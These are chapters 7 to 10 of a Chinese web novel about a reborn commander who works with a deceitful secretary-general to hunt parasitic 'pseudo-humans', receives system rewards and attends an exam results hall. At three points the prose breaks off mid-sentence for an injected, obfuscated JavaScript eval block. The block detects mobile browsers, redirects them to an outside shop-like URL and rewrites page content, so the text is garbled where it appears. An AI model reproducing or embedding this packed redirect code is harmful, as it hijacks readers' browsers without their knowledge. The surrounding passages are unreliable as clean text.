《你怎么会吐蛇信子？！[人外]》 7. 7 晓寒轻的感觉，十分准确。 她被花晚照的下属以一个超高的效率带到了医院，推门进去，第一眼看到的却并不是花晚照。 一个鬓边微白的中年男人正坐在他的病床旁边，一众保镖又围在这个中年男人身后。 这个中年男人非常眼熟。 晓寒轻上一世见过他，隐隐记得，这人是首富温家的核心人物之一。 在她推门的瞬间，病房内所有人的目光都向她投来。 病床上的花晚照也缓缓转过头，温柔地看向晓寒轻。 他微笑着道：“你来了。” 这语气仿佛两人是认识很久的好朋友一样。 众人如同打量商品一样打量着她。 晓寒轻感受到这些绝对算不上善意的眼神，蹙眉道：“我来得不巧……？” “不不，我们马上要离开了。” 中年人起身。 “秘书长，那剩下的事情就拜托你了。”他向躺着的花晚照深深鞠了一躬，“真是不知道要如何报答您。” 花晚照摇了摇头，“如果事成，也是这位晓寒轻的功劳。” 晓寒轻：“？” 于是中年人又对着晓寒轻鞠躬。 晓寒轻：“？？” 什么情况？整个联盟最富的温家人对她这么客气？ 难道她穿越了？ 其实她还是上一世那个风光无限的晓寒轻？ “温先生。” 不等晓寒轻反应过来，花晚照便先一步出声，“您先不要这样。就算是救子心切，您冒然鞠躬，其实是把别人架在了道德高地上。” “晓寒轻女士也有权力不帮助治疗小温先生。况且这件事，我还没有和她谈过。你这样显得很唐突。” 花晚照的表情十分认真，“要知道拒绝您这样的人物，本来就不是一件容易事。您更应该多给她一点空间和体谅。” 温先生道：“您教育得对。那我先走了。就拜托您和晓寒轻女士好好谈谈。” 他深深望了晓寒轻一眼，然后，便离开了病房。 刚刚在眼前上演的戏码，实在是精彩。 晓寒轻看得津津有味。 和花晚照绝交了那么久，晓寒轻都记不清有多少年没看到他飙演技了。 果然还是，茶香四溢。 花晚照笑着对晓寒轻招了招手，“过来坐吧。” 晓寒轻默默走过去。 正常人听到刚刚花秘书长和温首富的对话，都会向这位看似体贴至极、处处帮她这个小平民考虑的秘书长询问，究竟发生了什么事情。 但晓寒轻故意不说话。 看花晚照屡试不爽的手段在她这里吃瘪，显然是一件很有意思的事。 两人就这样相对无言了片刻。 晓寒轻如愿从花晚照脸上看出微小的错愕。 “为什么来探望我？是有什么事需要我帮助吗？” 对方不说话，花晚照只得先开口。 “没有啊。” 晓寒轻仍不接话，而是道：“就是单纯担心您。毕竟您是我的大恩人，您有危险，我自然十分忧心。” 花晚照：“……” 这个晓寒轻一点都不好奇刚刚他和姓温的人在谈论什么事情？明明他们话里话外都在暗示此事与她有关。 晓寒轻眨了眨眼，故作真诚，“秘书长，看您没事，我就放心了。那我就不打扰您休息了。” 说完，她起身作势要走。 “留步。” 终于，花晚照罕见地选择了“直抒胸臆”，“我有个事情，需要拜托你。” 此时背对着他的晓寒轻憋住笑意，才把身子转回去，“秘书长，您说。如果能帮，我一定帮。” 花晚照：“温家的小儿子重病垂危，需要高品级暗影异能者的血才能缓解。你是整个联盟最好的人选。” 笑容从花晚照脸上消失，但转移到了晓寒轻的脸上，“秘书长也是因为这个才在A试之前出手救我的吧。” 花晚照：“…………” “怎么会？”他很快调整出一副真诚而温柔的表情，“不管是谁，只要我看到她处在危险之中，我一定会力所能及地施以帮助。” 晓寒轻继续不留情面地追问，“那您为什么会那么巧，刚好遇到了身处危险的我呢？” 花晚照：“因为我在派人监视你。” 这次换晓寒轻惊讶了。 “我感觉到，你应该喜欢我诚实一点。”花晚照抬手揉了揉太阳穴，“我把你会受到的伤害和能得到的利益，整理成篇，发到你的芯片ID上了。” “你好好考虑。” 晓寒轻：“好的。” “你确实有拒绝的权力。”花晚照轻叹了一口气，“刚刚我和温先生的对话，都是真的，没有演的成分。” “你可以尝试选择相信我。” 他撒谎。 但晓寒轻也懒得再次揭穿。 “我答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557646|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但我有个特殊条件。” 眼下虽然是突发事件，但能从里面捞到好处，晓寒轻当然没有理由拒绝。 “对这次伤害你的伪人的调查行动，我要参加。而且，最好由我来当击杀主力之一。” 晓寒轻要续命。 她喜欢活着。 而且全联盟的人都知道花晚照对伪人恨之入骨，她向他提出这个要求，他一定不会拒绝。 晓寒轻知道，花晚照此时一定乐见其成。 “你把名字改成晓寒轻，我就知道，你是一位有英雄主义、有人族荣誉感的公民。” 果然，花晚照用很温柔、很赞许的目光看着她。 “想杀伪人，保护属于人类的资源，是好事。”他苍白的嘴唇开合，语气真诚，“我全力支持你。” 晓寒轻抱拳：“谢谢。” 随后，她便离开了病房。 这一次，花晚照并未如上次在车上一般，很快移开眼睛。 他保持笑意，看着晓寒轻离开的方向。 良久，他挑眉道：“真是……江山代有才人出。” “哎……” 花晚照叹了一口气。 “果然只有伟大的人类，才是被上天眷顾的种族啊。” * 在寻日纪元，人类百分之九十的“怪病”，都与伪人有关。 伪人是被半污染的生命，会将疾病传染给人类。这是寻日系统一直在告诉大家的事情。 虽然没有科学理论支持，但从实例统计调查，系统的确实话有几分道理。 而且，坊间一直流传小温先生的病，是在与多名伪人颠鸾倒凤之后才染上的。 所以晓寒轻必然会答应温家的要求，借机调查伪人，也就多了个机会延长寿命。 还能参与调查实施刺杀的伪人，一举两得，何乐而不为？ 刚一出医院，花晚照的下属便联系了晓寒轻，将现有的线索分享给了她。 晓寒轻也参与了几次他们调查伪人的特殊行动，杀了几个颇有攻击性的喽啰伪人，延长了几周的命。 但刺杀的背后真凶，一直没有露面。 …… 几天后，考试院全面推送了成绩出炉的消息。 [全基地前五十名为屏蔽生，请到考试院线下领取成绩] 晓寒轻自然是被屏蔽了，还要去考试院走一趟。 哎，太过优秀，总是会带来麻烦。 还好晓寒轻早已习惯。 8. 8 第三十二基地，考试院。 大厅中已经聚集了数十位学生，以及他们的家长。这些都是今年的屏蔽生。 有很多一流大学的第三十二基地招生组成员穿梭在大厅中，给学生们发放着大学的宣传单。 第一基地大学招生组的组长正在石竹身旁，亲切地和她聊着天。 “李教授，我是今年第三十二基地的状元吗？” 招生组组长，李连教授笑了笑，只是道：“考试院马上就会为你们公开成绩的。” 石竹：“我知道你们肯定有内部消息。” 李连教授：“我只能说，你会如愿录取进第一基地大学，并且，一定是你最喜欢的专业。” “听说今年杀出了一位黑马。” 一旁，另一个高中的学生突然插话，“而且和石竹你是同一所高中的……搞不好，那人会抢了你势在必得的状元。” 闻言，石竹愣了下。 她不觉得她的那些高中同学中，会有谁能威胁到她状元的位置。 就在此时，考试院外，一辆绚烂夺目的摩托车漂移而过，最后稳稳停在大门南侧的停车区。 “哇！这辆车好漂亮！和我之前见过的所有摩托都不一样！” “因为这是光能摩托，不是大街上随处可见的风能摩托。” “烟花车标，这……这是轻光？！消费得起豪车摩托，咱们第三十二基地还有这么有钱的人？” “难道是宋家？据我所知，宋家就应该是咱们第三十二基地的首富了。” “那个宋耀祖虽然异能还行，但文化知识烂得很，绝对不可能是屏蔽生，怎么可能这个时候来考试院？” 在众人的议论声中，晓寒轻跨下摩托，摘掉头盔。 议论声戛然而止。 重生了这么多天，那副肉身早已完成了脱胎换骨的转变，远远地走过来，便气势逼人。 直到晓寒轻彻底走进考试院。 考试院门前围着的那些靠贩卖考试信息为生的人才又开始窃窃私语起来。 “我怎么觉得这个学生有点眼熟啊。” “她就是当时第一个出B试考场的人。哈哈哈哈我记得当时是你买了她的消息，但没付钱给她，还骂了人家一顿！” “你可真是亏大了。我要是你啊，都想去撞墙了。” …… 屏蔽生中有一多半都和晓寒轻来自同一所高中，但，只有石竹认出了她。 “你怎么来了？！” 石竹的脸上满是惊讶。 在她的记忆中，晓寒轻绝对到不了屏蔽生的水平。 “等成绩啊。” 这里面的人，晓寒轻只认识石竹一个，自然停在了她身边。 “你也考得太好了。”石竹疑惑地打量她，“难不成你真的被魂穿了？！” 晓寒轻：“……” 从某种角度来说，石竹算得上一位真相帝。 李连教授同样递给了晓寒轻一份第一基地大学的宣传手册，“也欢迎你来我校学习。” “某些人最好祈祷自己不是状元。” 刚刚插话的学生又开了口。 他很显然是知道什么，从头到尾打量完晓寒轻之后，向石竹投去一个似笑非笑的目光。 “否则石竹她见到一向不如自己的朋友，在最关键的考试超越了自己，不知道要恼火成什么样子。” 闻言，晓寒轻勾唇，很无所谓地笑了下。 她当然懂得这个道理，毕竟她上辈子经历过太多了。这是人之常情，她能够理解。 有的时候，人太幸运，反而不容易交到朋友。 ……甚至会迎来一场场背刺。 她早已习惯。 下一秒，石竹却直接啐了那不停插话的学生一口。 “呸，少挑拨离间了！我只能说不管是谁当状元，只要不是我，我都不高兴！！不、高、兴！” 晓寒轻：“…………” 这话出乎预料，诚实得可怕。 石竹冷笑，继续道：“当然，如果是你的话，我会尤其不高兴！我最讨厌阴阳怪气的东西！” “状元最好是我。不是我的话，当然最好是我的朋友。别以为所有人都和你一样阴暗。” 那人冷笑一声，叫嚣道：“你竟然敢骂我？你知道我是谁吗？我爸是考试院院长……” 石竹：“所以你是从你爸那里得到的考试成绩内幕？你提前知道了大家的成绩，才一副知道谁是状元的样子？” 见势不妙，对方立刻闭了嘴。 他也不完全是个傻子，不能把滥用职权的罪名扣到父亲头上。 石竹轻松吵赢，她不屑地耸肩，偏头看向晓寒轻。 “切，什么官二代，只要惹我不爽，我当场就骂。他还不是照样不敢还嘴？” 晓寒轻给石竹竖了一个大拇指，发自内心地道：“牛！” * 考试院分批次向前五十名屏蔽生公布了成绩。 正如晓寒轻的预料，她的B试拿了满分。 不过，到底是重活一世，晓寒轻也不像再想上辈子那样惹人注目，所以她在A试进行了控分，拿了个她自认为比较平庸的成绩。 于是她AB试的综合成绩，在全第三十二基地拿到了第二的排名。 晓寒轻看着自己的成绩单，非常满意地点头。 不错，值得庆祝。 这是她人生中第一次拿第二。 上辈子她从来都是第一名。 这样一来，她就不需要去出具异能品级鉴定证书，只需要用AB试的成绩，走普通录取，就能拿到第一基地大学的offer了。 对于晓寒轻来说，这同样也是一件值得庆祝的事情。 她不想应付那些大学的招生组，以及考试院的工作人员。公开太多她的个人信息，对她日后击杀伪人，没有什么好处。 于是拿到成绩单之后，晓寒轻便准备抄小路离开考试院。 晓寒轻东拐西绕，走楼梯离开。 下到一楼的时候，她听到了楼梯里间的交谈声。 “许科长，我们家耀祖的成绩究竟为什么被取消？他B试拿了六十分，离一流大学只有一步之遥了啊，结果A试被判定为零分，一切都功亏一篑了！” 听到了熟悉的名字，晓寒轻的脚步一顿。 “这个......我也不能多说，不如你去问问宋耀祖自己，看看他是不是做了什么违法乱纪的事。” “怎么可能？我们家耀祖那是多乖的一个男孩，怎么可能做坏事？肯定是那群仇富的同学嫉妒，污蔑他！” 闻言，晓寒轻挑眉。 很明显，宋耀祖的家长知道他在学校暗地里霸凌同学的事情。否则又怎么会用一副肯定的语气，说是他的“同学”污蔑他呢？ “什么仇富的同学......实话和你说了，和考试院打招呼的人，是花秘书长！你儿子是什么东西，值得人家来污蔑？” “警察厅的人马上就会去你家调查了，到时候你就能知道你儿子究竟犯了什么事！” 晓寒轻没有兴趣再听，从另一边离开了考试院。 她绕过一众人的目光，跨坐上自己的摩托车，正在心中感叹自己偷溜的技巧了得之时，便收到了花晚照的信息。 [恭喜你取得好成绩。如果现在有空的话，来找我，有你喜欢的清扫伪人行动。] 晓寒轻：“......” 如果不是她反侦察的能力也是一流，她绝对会觉得花晚照在她身上安装了监视器。 之前的几次行动，都是由花晚照的下属通知她。 这次花晚照亲自发消息，可见这次一定是个大行动。 晓寒轻也不纠结一些细枝末节的东西，骑着光能摩托，全速前往花晚照发来的地址。 * 第三十二基地，南岸别墅区。 晓寒轻被接引到一辆加长光能轿车前。 这辆车的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557647|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外观非常华贵，不过没有牌子logo，要有些见识的人才能看出这是一辆“轻光”定制车。 ......看起来不像是花晚照的车。 这种车对于他这样的身份和性格，还是太高调了。 车门被保镖打开，晓寒轻第一眼看到的，是一位非常贵气的女士。 她身上穿戴的都是没有logo的顶奢品牌，在如今这个后末世时代，她仍能从容到把皮肤保养得细腻白皙，一副从内到外的养尊处优之态。 下一眼，晓寒轻才看到坐在前排的花晚照。 “上车吧，坐在祝小姐身边。” 晓寒轻点了点头，没有多话。 她知道这个“祝小姐”。 祝满，当今联盟的“祝福”第一人。 “祝福”这个异能非常稀少，而且觉醒的时间不到十年，目前已知品级最低者都能达到B级，是公认的辅助类异能之最。 “秘书长，如果不是看你的面子，我是不会来三十二基地这种......根本不是人住的地方。” 祝满裹了裹自己价值几十万的外套，眼睛都不睁一下。 她殷红的嘴唇张合，闭着的眉眼仍能流露出几分骄傲的神色，“离开第一基地的中心区域，我觉得呼吸都是负担，这里的空气太糟糕了。” 很显然，祝满并不是一个好相处的人。 不过，再难相处的人，都会败在花晚照那如春水般的体贴之下。 “谢谢祝小姐。这次行动的伪人级别很高，而且很可能就是此次刺杀的幕后真凶，有你的辅助，联盟的军人能更安全一些。” 花晚照的语气温柔而诚恳，微微侧过头，双眸如春光下粼粼的绿宝石。 “而且，第三十二基地的军人们，刚刚失去了他们敬爱的将军......” 话及此处，他的眉宇间笼罩上一层让人动容的哀伤，“我绝对不能再让他们受到损失和伤害。” 祝满这才睁开眼睛，“哎，秘书长还真是一如既往的善良。第三十二基地将军牺牲又不是你的错，你却还要自费请我来帮助驻军。” “在这个社会，太善良的人，一定是会吃亏的。” 祝满语重心长、满怀担忧。 晓寒轻一直在静静地听着两人的对话，一个不留神，在此时轻轻笑出了声。 会吃亏？ 花晚照一步步爬上来，仕途比百分之九十九的人都要顺利，最近几年更是势如破竹，恨不能全天下最幸运、最不吃亏的人就是他了。 他全身上下，也不知道哪里能和“吃亏”两个字沾边。 与其说他善良，不如说他太会“装”善良了。 祝满：“……？” 花晚照：“…………” 这不合时宜的笑声吸引了两人的注意，都将目光投向了晓寒轻。 “寒轻，是不是又想起你的AB试成绩，所以高兴得笑出来了？” 花晚照主动给了一个台阶。 晓寒轻自然也不会不给面子，“是啊。我拿了全基地第二，太开心了！” 闻言，祝满又把眼睛闭上了。 光能车启动，三人前往此次行动的目的地，也是第三十二基地与污染区接壤的禁地。 祝满似乎和花晚照的关系不错，一路上，两人都在闲聊。 晓寒轻只默默听着，并不插嘴。 “你年纪也不小了，还不考虑结婚吗？” 似乎是没有料到会谈到这个话题，花晚照很明显地愣了一下。 随即，他苦笑着摇了摇头，道：“缘分未到。” 祝满的身子向前倾了倾，压低声音，“我倒是听到一个八卦，说你是因为已经心有所属，才迟迟没有另结良缘。” 花晚照饶有兴致地问：“是吗？” “我倒是很好奇我的心上人是谁。” 祝满：“十年前牺牲的第一基地指挥长啊。” 一旁努力降低存在感的指挥长本人：“……” 9. 9 终于，话题还是落到了晓寒轻身上。 她早有预料，不想让自己的表情露出破绽，于是一直偏着头，看向窗外。 路上的景色越来越荒凉。 她听到花晚照换上一副卑微而伤感的语气，“我？我哪里配得上去肖想指挥长呢？” “晓指挥长实在是一个太传奇的女人。” 花晚照继续道：“我只敢仰慕罢了。她在我心中，并不是可以被采撷独占的鲜花，而是普照人世的皎洁白月。” “我出生得晚，成名也晚，没荣幸见过晓指挥长。”祝满似乎对这个话题很有兴趣，“听说你们曾经共事。你觉得她是一个什么样的人？” 花晚照语气极为真诚：“光芒万丈、潇洒明媚、无人能及。与指挥长共事的日子，是我一生中最珍贵的时光。” “如果可以，我愿意一辈子只做她的秘书。” 晓寒轻：“……” 纯属放屁。 光能车路过田野乡村，低矮的土房上贴着花晚照在某次全联盟大会上的政治发言。 晓寒轻对着那虚伪的标语翻了一个白眼。 当年有高升的机会，花晚照溜得可是比风火轮还要快。 现在死无对证了，他就开始装忠贞不渝，雕琢自己美好的品德。 其实晓寒轻始终不明白，他为什么不与她知会一声。她明明绝对不会不放他走，他却一定要莫名其妙地离开，将两人原本和谐有爱的关系搞得如此僵硬。 “还是不要再提她了……” 拥有高超演技的花晚照直接红了眼眶，“我怕我控制不好情绪。祝小姐，您见谅。” 晓寒轻：“......” 去你爹的。 祝满马上转移了话题。 晓寒轻彻底没有心情旁听了。 当她在心里把花晚照骂了十八遍的时候，光能车终于行驶到了目的地。 “这是一个食人肉的伪人，身上背着很多年人命，如今刚好逃窜到第三十二基地。他等级很高，至少能达到六级。” 第三十二基地的驻军讲解着此次行动。 “花秘书长和我们将军出意外那天，他就在四季春附近。所以，他的嫌疑非常大。” 花晚照的目光投向第三十二基地之外。 基地需要负担的人口越来越多，基地建立的标准一降再降。 就算是这样，第三十二基地和污染区仍然是天差地别的。 基地之外，是真正寸步难行的末世。 所以，所有低等生命都想进入基地。 这十年间，混入基地的伪人越来越多。 伪人与污染物，只不过是一线之隔，若失去理智，便会在基地中做出种种恶行。 在被发现之后，他们往往会先逃到污染区中，加大人类抓捕击杀他的难度，以待来日。 “基地之外非常危险。”花晚照侧过头，看向晓寒轻，“我知道你心怀大志，但第一次离开基地，一定要万分注意安全。” 花晚照比此时的晓寒轻要高不少，他的目光从上至下，待着一种柔情与关怀。他周身时刻笼罩的那层圣光又让他这个人自带十足的安全感。 “你可以跟在我身边，我尽我所能护着你。” 晓寒轻盯着他那张美得要死的脸，心如止水。 “谢谢您。” 她皮笑肉不笑地回应了一句。 三人换上了一辆战斗车。 第三十二基地驻军将基地保护门打开。 战斗车驶向污染区深处。 …… 很浓重的雾气。 晓寒轻此时真的无暇再去思考花晚照对她的偏见，污染区中这熟悉的雾将她的思绪拉回到十年之前。 这里才是她熟悉的世界。 她自知被上天眷顾，所以她自愿献身于苍生。 晓寒轻是全人类，或者，是全红星幸存生命的一把剑。 她生前清扫出七个基地，战功赫赫，如铸金身。在她死后，污染区清扫速度和质量都在大幅度下降。 晓寒轻建立的七个基地，被称为“真正的人间”。无数生灵前赴后继，甚至奋斗一生，只为在那里定居。 重生之后，晓寒轻有时会回忆起上一世的光景，大多是在因第三十二基地的破败而触景伤情时。 她确实，死得太早了。 晓寒轻的太阳穴处传来一阵刺痛。 这是上一世经久的战斗留给她的预感。她先一步有了动作。 下一秒，一条粗长的藤蔓破土而出，直接将站丢车劈成了两半。 白雾中，无数挥舞的藤条像是一条条阴湿的触手，在天空中张牙舞爪，编制成一座遮天蔽日的牢笼。 这竟是个植物伪人！ 它此时已经不再伪装成人的形态，长条形状的枝桠在地面与半空间穿梭，像是一团又一团蠕动的蛆虫。 末日之前，植物大多是无害的，至少，不会主动发起攻击。 然而末日降临之后，植物被污染，反而成了攻击力最强、最危险的东西。 植物伪人非常罕见，要比动物伪人更加棘手。 由于附加属性“柔光普照”，花晚照是公认的辅助型觉醒者。与大部分辅助不同的是，他虽然攻击力几乎为零，但防御却接近正无穷。 不管多么狂暴的伪人，都能在他的柔光魅力下，与他“和谐相处”。 所以此时他并不是驻军的保护对象。 另一位辅助祝满已经被驻军围了起来。 在一片混乱的战场上，花晚照独自一个人站在破碎的战斗车旁。 他周身萦绕着一层淡淡的光，照出一小片净土。 疯狂摆动的藤蔓一旦近身，就变成了微风浮动的柳枝，如同被驯服的野兽。 花晚照大发慈悲地想起来那个S级暗影觉醒者。 ……她哪去了？ 好像不见了。 不过也不是什么大事。 是她一定要参加伪人绞杀，又不听他的劝告，跟在他身边以保证安全。 花晚照觉得，她死了也是咎由自取，算不到他头上。 他一向擅长安慰自己。 一路走来，不论手上沾了多少血，他从来都是问心无愧的。 与此同时，晓寒轻正在白雾中观察这个植物伪人的弱点。 在半空中飞舞的这些藤蔓很显然都不是它的要害。 第三十二基地驻军在祝满的辅助下前赴后继，斩断一条又一条藤蔓，但伪人的攻势并未有丝毫减弱。 晓寒轻将自己与四周的影子融合，在群魔乱舞般的藤蔓间穿梭。 她要找到这个伪人的根。 若不能除根，一切都是徒劳。 然而，地面上并没有！ 晓寒轻咬牙，只好转移视线，迷雾之中，似乎有黑影略过。 她全神贯注，抓准时机，发动自己的附加属性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14557648|155554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痴缠！ 一声凄厉的惨叫顿时划破天空。 所有人的目光都被吸引到此处。 被影子缠住的，分明是一条粗长的肉虫！ 晓寒轻瞬间反应了过来，她大喊道：“不对！这个伪人的本体不是植物！而是一只能操纵植物的寄生虫！” 怪不得这些藤蔓的行动和虫子那般相像！ 祝满不亏是当今联盟辅助第一人，她第一个反应过来，直接将她的辅助类异能加在了晓寒轻身上。 祝福·百宝箱！ 这是晓寒轻第一次体会到祝福的威力，她身上那些被藤蔓抽出的伤口瞬间愈合，她异能的痴缠之力更是飙升了数倍。 突然增加的实力甚至让晓寒轻有些措手不及，她心念一动，就连行动的速度也变快了许多！不过一个眨眼的时间，她便踩着树干，借力移动到了那被痴缠困住的肉虫之前。 雾气浓重，仍能看到它那蠕动的身躯。 它的躯干上有一个又一个密密麻麻的肉芽，在晓寒轻靠近的那一个瞬间，肉眼顷刻间扩大成血盆大口，甚至喷射出带有腐蚀性的液体！ 祝福buff加身的晓寒轻快得只见残影，她的手在虚空中一拽，那肉虫便尖叫着被拉进了它自己的影子里，像是被一双不可抗力的手拉扯进深渊泥潭。 在众人的视角里，晓寒轻周身萦绕着一层看不见的黑红雾影，手段近乎残暴发动着攻击。 伪人凄厉耳朵惨叫让人止不住发抖。 “好身手！不亏是花秘书长带过来的人！” “听说她刚刚高中毕业，没想到竟然有如此准确的直觉，第一个发现伪人的真身，而且，出手也利落！” “花秘书长真是伯乐啊。她若是没有遇到秘书长，又怎么会有这样珍惜的实战机会，特别是，还能得到祝满小姐的祝福。” 直到此时此刻，花晚照仍然只是站立在一旁，随意地观察着战况，保持一个冷眼旁观的态度。 听到话题牵扯到了他，他才开口，吐出谦卑又体贴的几个字，“主要是她自己争气。” 雾气浓郁，没人能看清花晚照那意味不明的眼神。 只能听清他那欣慰的语气。 “最难得的是，她有报效高等生命、消灭低等伪人的好志气。” 这可是当年的指挥长晓寒轻都没有的东西。 不知为何，花晚照看着眼前这人的身手，会想起已经死了十年的那个人。 她虽然声称是中立派，但其实对伪人总是手下留情的。 系统说，伪人与污染物只有一线之隔，所以它们生来就低人一等，只配在污染区里等死。 花晚照心中其实有恨。 只是被他嚼碎了咽进肚子里，不敢示人。 他心中非常清楚自己不是人类。 不管他将皮囊雕琢得多么精致，不管他学习多少人情世故，他都只是一条冷血的、阴暗的蛇。 花晚照告诉自己，他因此也不会有人的情感。 可是那个人死去的这十年里，他无时无刻不在悲伤，那是一种带着痒的哀痛，仿佛原本空荡荡的胸腔无端生长出粘腻的血肉。 一团粘稠的血从肉虫身体里喷出。 晓寒轻灵巧地躲过。 于此同时，脑海中响起系统的奖励提示音。 “成功击杀[六级伪人]，寿命加1年！” “活得首次击杀中级伪人礼包*1！补充礼包*1！” 10. 10 晓寒轻觉得，被她击杀的那个六级伪人，不是暗杀秘书长和驻军将军的罪魁祸首。 虽然得到“祝福”之后，晓寒轻的实力大大增加，但她杀掉那个伪人的过程……还是太容易了。 此时她们已经坐上了回程的车，晓寒轻瞥了一眼后排那正在闭目养神的花晚照。 ……这个姓花的老奸巨猾，绝对不可能被这么弱的伪人伤害。 当时行刺的究竟是不是刚才的伪人，只有花晚照最清楚。然而第三十二基地驻军准备息事宁人、盖棺定论，而花晚照并未反驳。 不对劲。 晓寒轻在心中这样思索着，停留在花晚照脸上的目光便久了些许。 花晚照睁开眼睛。 两人的目光在半空中撞在一起。 晓寒轻：“……” 花晚照：“…………” 两人的对视以花晚照回以一个微笑为结束。 被这样莫名其妙又阴森森地盯了这么久，还能如此淡定的微笑回应，花晚照不亏是维持体面的神人。 花晚照并未对晓寒轻的这个眼神做出任何评价，晓寒轻便也不出声。 她默默将目光移开，靠在柔软的座椅上，舒缓自己疲惫的身心，也开始闭目养神。 由于在战场上消耗了太多，祝满早就已经睡着了。 三个人一路无言。 回到旅店之后，晓寒轻才查看起自己获得的“礼包”。 脑内被植入的芯片在眼前投影出一块屏幕，一个灰白色上面印着一个大大的问号的宝箱在半空中缓缓旋转着。 ......没想到系统这么有仪式感，还专门给这个礼包建了模。 晓寒轻：“这什么东西？” [这是盲盒礼包，每当你首次成功击杀中级以上的伪人，都会获得一个。并且将之前未获得的补齐，比如，你刚刚跳过七级，直接击杀了六级伪人，就会直接得到两个礼包。] [集齐所有盲盒礼包，就会获得永生的机会。] 按照寻日系统的标准，伪人被分为十级、四等。 十级、九级、八级为低等伪人，七级、六级、五级为中等，四级、三级、二级为高等。 一级，则被单独称为超高等。 不过至今并没有出现过。 事实上，能达到三级的伪人都屈指可数，四级伪人的出现就值得整个基地戒备了，伪人这样的低等生命与污染物不过是一线之隔，一旦四级伪人变成污染物，方圆百里恐怕瞬间会沦为污染区。 晓寒轻生前都未见过高等伪人，不过，听战友说，高等伪人比高级污染区更难清理。 这也就意味着晓寒轻几乎不可能集齐所有礼包。 还好，她对集齐的奖励也不敢兴趣。 “我不想永生。”晓寒轻言简意赅，“永生的都是老妖怪。” 不知道已经活了多少年的寻日系统：“......” 在晓寒轻的注视下，那礼包旋转得越来越快，她的语气轻飘飘的，“我只想过正常人的一生，生老病死、寿终正寝。” [没关系，这个终极礼物你不喜欢，我会换一个你感兴趣的。] 晓寒轻：“啊？还可以改？” [当然，因为制定规则的是我。] 晓寒轻点头，“嗯，你说的有道理。” 她一边说着，一边打量眼前的盲盒宝箱，全息投影上还有它的简介，“打开一次将随即获得一件你上一世拥有的宝物。” ……拿她上辈子的东西当成奖励再还给她，诱惑她击杀更高等级的伪人，实在是奸商行为。 晓寒轻也不啰嗦，直接动手拆了一个。 只见眼前金光一闪。 系统冷冰冰的声音在她耳边响起，“你还真是一如既往的好运气。” 寻日系统按照晓寒轻生前物品的稀有程度，将盲盒分成了绿色、紫色、金色三等。 晓寒轻，首发出金。 一把光芒四射的利刃的全息投影出现在晓寒轻眼前。 这是她前世的武器，“审判”。 晓寒轻不知道说什么好。 ……很显然，她现在已经用不了这把剑了。 且不说一旦拿出，她根本无法解释来历，就说她现在的异能已经变成了暗影，与这光属性的剑命里犯冲。 系统给她提出建议。 [你可以匿名拍卖，用拍卖得来的东西再去购置一把适合你的武器。] 晓寒轻点头。 没想到有一天她竟到了变卖武器的境地，想想真是很奇妙。 [审判存放在寻日保险系统的第三号保险箱。我建议你到达第七基地之后再做领取，到时我会为你提供提取方法。] 晓寒轻又开启了她得到的第二个宝箱。 这一次，闪过的是一束绿光。 这种结果对于她来说反而是比较稀奇的事情。 盲盒宝箱开出来的，是一个星星发夹。 晓寒轻：“……？” 这什么鬼东西。 她怎么不记得自己有这种风格的发夹了？ [这是‘回光’的经典款发饰，二手售价都能达到三万积分，里面有一个十平方的储物空间。] 晓寒轻道：“哦，果然不是什么贵东西。” 系统并未理会她的评价，继续兢兢业业地为她解释。 [这款发夹也被存放在寻日保险系统，它被存放的位置离第三十二基地很近，如果你需要，我现在就能把它调度过来给你。] 储物功能还算有些用处，晓寒轻便收下了系统的美意。 当天晚上，晓寒轻便收到了星星发夹的包裹。 实物比预想之中要好看很多。 晓寒轻努力地回忆了一下，想起这应该是某个人送给她的生日礼物。 是谁送的，她倒是不记得了。 晓寒轻把星星发夹别在了衬衣的袖口上。 ……因为她不想让别人看到她戴这么幼稚的饰品。 * 此次AB试出现了两位引人瞩目的考生。 第一个是状元石竹，第二个是黑马晓寒轻。 学校为这届学生举办一个盛大的升学宴。 晓寒轻本来不想去的，但花晚照说他也会出席，她便也不好太拂了他的面子。 作为联盟的第一基地秘书长，莅临参观第三十二基地的高中也算是个政治任务。所以晓寒轻并不意外他会选择参加升学宴，但没想到……他会亲自来接她。 看着停在旅店门前的低调光能车，晓寒轻犹豫了一瞬。 不过，船到桥头自然直，花晚照究竟在打什么算盘，上了车自然就知道了。 花晚照今天穿着正式，看起来成熟了不少。晓寒轻打开车门，坐在了他旁边。 “今天来接你，是有事想要和你当面沟通。” 经过几次相处，花晚照似乎已经摸清楚了晓寒轻的性子，不再像对别人那般拐弯抹角。 晓寒轻道：“好的，您说。” 花晚照：“小温先生病情加重，需要一点你的血做药引。他等不到你离开第 